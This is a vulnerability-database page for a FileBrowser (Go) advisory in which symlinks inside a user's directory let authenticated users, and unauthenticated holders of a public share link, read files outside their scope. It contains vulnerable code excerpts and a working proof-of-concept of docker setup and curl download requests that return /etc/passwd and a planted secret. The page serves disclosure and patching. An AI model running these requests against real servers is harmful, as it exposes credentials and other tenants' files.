FileBrowser: Symlink following escapes user scope allowing arbitrary file read outside the served directory
CVE-2026-116682 · GHSA-mgqf-5mf5-prfj · published 27 Oct 2026
How serious is it
- Severity: high, CVSS score 8.6 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-116682?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
github.com/gtsteffaniak/filebrowser/backend(Go) < 0.0.0-20260814233832-4126edeb07a0
How to check
- Run
go list -m github.com/gtsteffaniak/filebrowser/backendin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
github.com/gtsteffaniak/filebrowser/backendto 0.0.0-20260814233832-4126edeb07a0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
File read paths resolve symbolic links with `filepath.EvalSymlinks` and then operate on the resolved target without re-checking that the target still lies inside the user's source/scope.
A symlink located inside a user's accessible directory that points outside the scope (for example to `/etc/passwd`, another tenant's directory, SSH keys, or container secrets) is followed transparently, and its contents are served through the normal download, preview, media, and OnlyOffice endpoints. Any authenticated user with download access can read files anywhere the server process can, whenever such a symlink is reachable in their scope.
The same symlink-following read path is used by the public share endpoints, which are authorized only by a share hash and not by any account, so when a public share exposes a directory that contains such a symlink, an unauthenticated attacker holding only the share link reads files outside the scope with no credential.
## Details
**1. Symlink resolution performs no containment check (`indexing/iteminfo/utils.go:110-119`)**
```go
func ResolveSymlinks(path string) (string, bool, error) {
resolvedPath, err := filepath.EvalSymlinks(path) // follows the link to its real target
if err != nil {
return path, false, fmt.Errorf("could not resolve symlinks for %s: %v", path, err)
}
info, err := os.Lstat(resolvedPath)
// ...
return resolvedPath, IsDirectory(info), nil // returned with no scope validation
}
```
There is no comparison of `resolvedPath` against the index/scope root.
**2. `GetRealPath` returns the resolved target unchecked (`indexing/indexingFiles.go:991-1008`)**
```go
absolutePath, err := filepath.Abs(joinedPath)
// ...
realPath, isDir, err := iteminfo.ResolveSymlinks(absolutePath) // escapes scope here
// ...
return realPath, isDir, err
```
`realPath` is then used by file handlers to open and serve the file. No caller re-validates that `realPath` is a descendant of the user's source root. (By contrast, the project did add containment for archive extraction via `symlinkTargetStaysUnderDest`, but that guard is specific to extraction and is not applied to this general read path.)
**3. The read handlers request symlink following, including the unauthenticated public-share handlers (`http/resource.go:96,503`, `http/media.go:124`, `http/onlyOffice.go:133`, `http/public.go:279,441,494`)**
```go
FollowSymlinks: true,
```
Authenticated download, preview, media-subtitle, and OnlyOffice read flows all set `FollowSymlinks: true`, and so do the public share handlers in `http/public.go`. The public download route is registered as `publicApi.HandleFunc("GET /resources/download", withHashFile(publicDownloadHandler))` (`http/httpRouter.go:130`), where `withHashFile` authorizes by the share hash alone with no account, so the same escape is reachable with no authentication when a public share exposes a directory containing the symlink.
## PoC
Confirmed live on `gtstef/filebrowser:1.3.3-stable`. A symlink pointing outside the user's directory must exist inside it; here it is placed on the host volume, which is what happens whenever a bind-mounted directory contains symlinks.
**1. Start a fresh container and seed a file outside the user's intended subtree.**
```bash
docker rm -f fb-q-lab 2>/dev/null; rm -rf /tmp/fb-q-lab; mkdir -p /tmp/fb-q-lab/srv/user1
echo "ROOT_DB_PASSWORD=supersecret" > /tmp/fb-q-lab/srv/secret-outside.txt
docker run -d --name fb-q-lab -p 8090:80 -v /tmp/fb-q-lab/srv:/srv gtstef/filebrowser:1.3.3-stable && sleep 8
TARGET_URL=http://localhost:8090
```
**2. Place symlinks inside the served tree that point outside it.** One points at a host file (`/etc/passwd`), one at the file outside the user's subtree.
```bash
docker exec fb-q-lab sh -c 'ln -sf /etc/passwd /srv/user1/passwd_link; ln -sf /srv/secret-outside.txt /srv/user1/secret_link'
```
### Vector 1: authenticated user (any account with download access)
**3. Log in as the default admin** (the token is passed as the `auth` query parameter).
```bash
ADMIN_TOKEN=$(curl -s -X POST "$TARGET_URL/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
```
**4. Download through the symlinks and read files from outside the scope.**
```bash
curl -s "$TARGET_URL/api/resources/download?file=/user1/passwd_link&source=srv&auth=$ADMIN_TOKEN" | head -1
curl -s "$TARGET_URL/api/resources/download?file=/user1/secret_link&source=srv&auth=$ADMIN_TOKEN"
```
Observed output:
```
[passwd_link] root:x:0:0:root:/root:/bin/sh
[secret_link] ROOT_DB_PASSWORD=supersecret
```
### Vector 2: unauthenticated, via a public share (no account)
**5. The owner creates a public share of the directory** (a normal use of the share feature). This is the only step that needs an account.
```bash
SHARE_HASH=$(curl -s -X POST "$TARGET_URL/api/share?auth=$ADMIN_TOKEN" \
-H 'Content-Type: application/json' -d '{"path":"/user1","source":"srv"}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['hash'])")
```
**6. With only the public share hash and no credential, download through the symlink.**
```bash
curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/passwd_link" | head -1
curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/secret_link"
```
Observed output:
```
[passwd_link] root:x:0:0:root:/root:/bin/sh (HTTP 200)
[secret_link] ROOT_DB_PASSWORD=supersecret
```
Both vectors follow each symlink to its target and return content from outside the served directory.
Vector 1 works for any scoped non-admin user confined to `/user1`.
Vector 2 needs no account at all, only the public share link, which is why the CVSS score uses `PR:N`.
## Impact
- **Arbitrary file read outside scope:** any authenticated user with download access can read any file the server process can access (host configuration, secrets, SSH keys, `/etc/passwd`, container service-account tokens, other tenants' files).
- **Unauthenticated read vi…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-mgqf-5mf5-prfj
- nvd.nist.gov/vuln/detail/CVE-2026-116682
- github.com/gtsteffaniak/filebrowser/pull/2795
- github.com/gtsteffaniak/filebrowser/pull/2800
- github.com/gtsteffaniak/filebrowser/commit/3c8c02414eefd3351ffe437fa39ff6eb150ffa67
- github.com/gtsteffaniak/filebrowser/commit/4126edeb07a015c3809a89249b283e07a4e50c38
- github.com/gtsteffaniak/filebrowser/releases/tag/v1.5.2-stable
- github.com/gtsteffaniak/filebrowser/releases/tag/v2.0.1-beta
- github.com/advisories/GHSA-mgqf-5mf5-prfj
- github.com/gtsteffaniak/filebrowser
Merged from GitHub Advisory Database, OSV. Last updated 28 Oct 2026. All vulnerabilities · RSS · JSON